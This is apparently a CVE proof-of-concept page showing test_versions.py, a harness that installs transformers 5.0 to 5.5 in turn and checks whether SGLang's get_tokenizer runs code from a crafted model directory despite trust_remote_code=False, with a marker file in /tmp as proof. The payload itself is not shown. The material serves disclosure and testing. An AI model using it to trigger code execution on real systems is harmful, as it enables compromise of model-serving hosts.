5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / test_versions.py PY
"""Run the bug across transformers 5.0..5.5. Swaps version via pip in-place
and spawns a fresh subprocess for each."""

import os
import subprocess
import sys

PROOF_FILE = "/tmp/sglang_poc_proof.txt"
MODEL_DIR = "/poc/malicious_model"
VERSIONS = ["5.0.0", "5.1.0", "5.2.0", "5.3.0", "5.4.0", "5.5.0"]


def test_version(ver):
    script = f"""
import importlib, importlib.machinery, sys, os, types

for mod in ['cuda_python', 'flashinfer', 'flashinfer_python', 'sglang_kernel',
            'quack_kernels', 'xgrammar', 'torch_memory_saver', 'flash_attn_4',
            'flash_attn', 'vllm', 'nvidia', 'nvidia.cutlass', 'nvidia_cutlass_dsl',
            'sglang.srt.layers', 'openai_harmony', 'torchcodec',
            'smg_grpc_servicer', 'apache_tvm_ffi', 'llguidance']:
    if mod not in sys.modules:
        fake = types.ModuleType(mod)
        fake.__spec__ = importlib.machinery.ModuleSpec(mod, None)
        fake.__version__ = "0.0.0"
        sys.modules[mod] = fake

try:
    import transformers
    actual_ver = transformers.__version__
except Exception as e:
    print(f"RESULT:import_failed:False:{{e}}")
    sys.exit(0)

proof = "/tmp/sglang_poc_proof.txt"
if os.path.exists(proof):
    os.remove(proof)

try:
    from sglang.srt.utils.hf_transformers_utils import get_tokenizer
    tok = get_tokenizer("{MODEL_DIR}", trust_remote_code=False)
    tok_type = type(tok).__name__
except Exception as e:
    tok_type = f"EXCEPTION:{{type(e).__name__}}"

executed = os.path.exists(proof)
print(f"RESULT:{{actual_ver}}:{{executed}}:{{tok_type}}")
"""
    result = subprocess.run(
        [sys.executable, "-c", script],
        capture_output=True, text=True, timeout=60,
    )
    output = result.stdout + result.stderr
    for line in output.split("\n"):
        if line.startswith("RESULT:"):
            parts = line.split(":")
            return parts[1], parts[2] == "True", parts[3] if len(parts) > 3 else ""
    return "error", False, f"stdout={result.stdout[:200]} stderr={result.stderr[:200]}"


def main():
    if not os.path.isdir(MODEL_DIR):
        print("[ERROR] Run setup_model.py first")
        sys.exit(2)

    results = {}
    for ver in VERSIONS:
        print(f"[*] transformers=={ver}", end=" ... ", flush=True)
        install = subprocess.run(
            [sys.executable, "-m", "pip", "install", "-q", "--no-cache-dir",
             f"transformers=={ver}"],
            capture_output=True, text=True, timeout=120,
        )
        if install.returncode != 0:
            print("skip (install failed)")
            results[ver] = "skip"
            continue
        actual_ver, executed, detail = test_version(ver)
        if executed:
            print(f"VULNERABLE (returned {detail})")
            results[ver] = "vulnerable"
        else:
            print(f"not triggered (returned {detail})")
            results[ver] = f"not_triggered ({detail})"

    subprocess.run(
        [sys.executable, "-m", "pip", "install", "-q", "--no-cache-dir", "transformers==5.3.0"],
        capture_output=True, timeout=120,
    )

    print()
    for ver in VERSIONS:
        status = results.get(ver, "unknown")
        marker = "***" if status == "vulnerable" else "   "
        print(f"  {marker} transformers=={ver:8s}  {status}")
    vuln = sum(1 for v in results.values() if v == "vulnerable")
    print(f"\n  {vuln}/{len(VERSIONS)} vulnerable")


if __name__ == "__main__":
    main()